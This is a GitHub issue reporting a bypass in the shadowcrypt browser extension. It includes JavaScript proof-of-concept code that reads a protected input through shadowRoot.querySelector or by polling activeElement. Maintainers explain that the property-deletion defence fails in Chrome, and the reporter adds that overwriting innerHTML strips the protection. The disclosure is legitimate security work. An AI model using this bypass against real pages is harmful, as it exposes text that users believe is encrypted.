Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Unencrypted value can be accessed with element.shadowRoot.querySelector or element.shadowRoot #8

Open
dzfranklin opened this issue Jan 31, 2016 · 2 comments

Comments

@dzfranklin
Copy link

I put a proof-of-concept at http://s.codepen.io/danielzfranklin/debug/YwvVVP.

If the browser supports it, element.shadowRoot.querySelector can be used to access the underlying element. It works in Chrome 48 but does not appear to be in the W3C standard. Otherwise, element.shadowRoot.activeElement can be polled until the input field is clicked on, activeElement is standardized in the spec at http://w3c.github.io/webcomponents/spec/shadow/#the-shadowroot-interface

if var input = [an input element secured by shadowcrypt] the following code will try both methods to get the contents of the shadow input.

function found_shadow_input(shadow_input){
    // Do whatever on the DOM node of the shadow_input
    // attach listeners, log the value, etc.
}

function break_into_shadowroot(){
    if(input.shadowRoot.querySelector){
        // find using querySelector
        found_shadow_input(input.shadowRoot.querySelector("input.delegate"));
        console.log("found using querySelector");
    }
    else{
        // poll activeElement until the user clicks on the input
        var shadow_input_searcher = setInterval(function(){
            var potential_elem = input.shadowRoot.activeElement;

            if(potential_elem && potential_elem.nodeName === "INPUT" && potential_elem.classList.contains("delegate")){
                clearInterval(shadow_input_searcher);
                found_shadow_input(potential_elem);
                console.log("found using activeElement");
            }
        }, 10);
    }
}

if(input.shadowRoot){
    break_into_shadowroot();
}
else{
    // if the extension hasn't loaded yet we may need to wait a few milliseconds
    var shadowroot_check_interval = setInterval(function(){
        if(input.shadowRoot){
            clearInterval(shadowroot_check_interval);
            break_into_shadowroot();
        }
    }, 10)
}

element.shadowRoot.querySelector is read-only so you can't monkeypatch it to fix this. What you use something else instead of an input element? A span could have its contents accessed with .innerHTML, but a dirty canvas can't be read off of. If you watched for keypresses and wrote them to a canvas if they were alphanumeric/symbols, moved a fake blinking cursor on arrow key press, moved the cursor on mouse click, and deleted letters on delete key press you could create a custom input element. If a clear pixel from a different domain was written in a corner, the canvas couldn't be read off of.

@wh0
Copy link
Member

wh0 commented Jan 31, 2016

the main problem here is that the code was supposed to prevent access to the entire shadowRoot property, and the code is now broken.

https://github.com/sunblaze-ucb/shadowcrypt/blob/deploy/ext/shadowcrypt.js#L656

chrome has moved to defining DOM properties as prototype getters instead of properties on the instance, so the delete statement https://github.com/sunblaze-ucb/shadowcrypt/blob/deploy/ext/shadowcrypt.js#L46 doesn't do anything.

@dzfranklin
Copy link
Author

You are right. My idea about using a dirty canvas wouldn't work, as element.shadowRoot.parentElement.innerHTML = "<input class='unprotected-input'>" will remove all of the protection

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants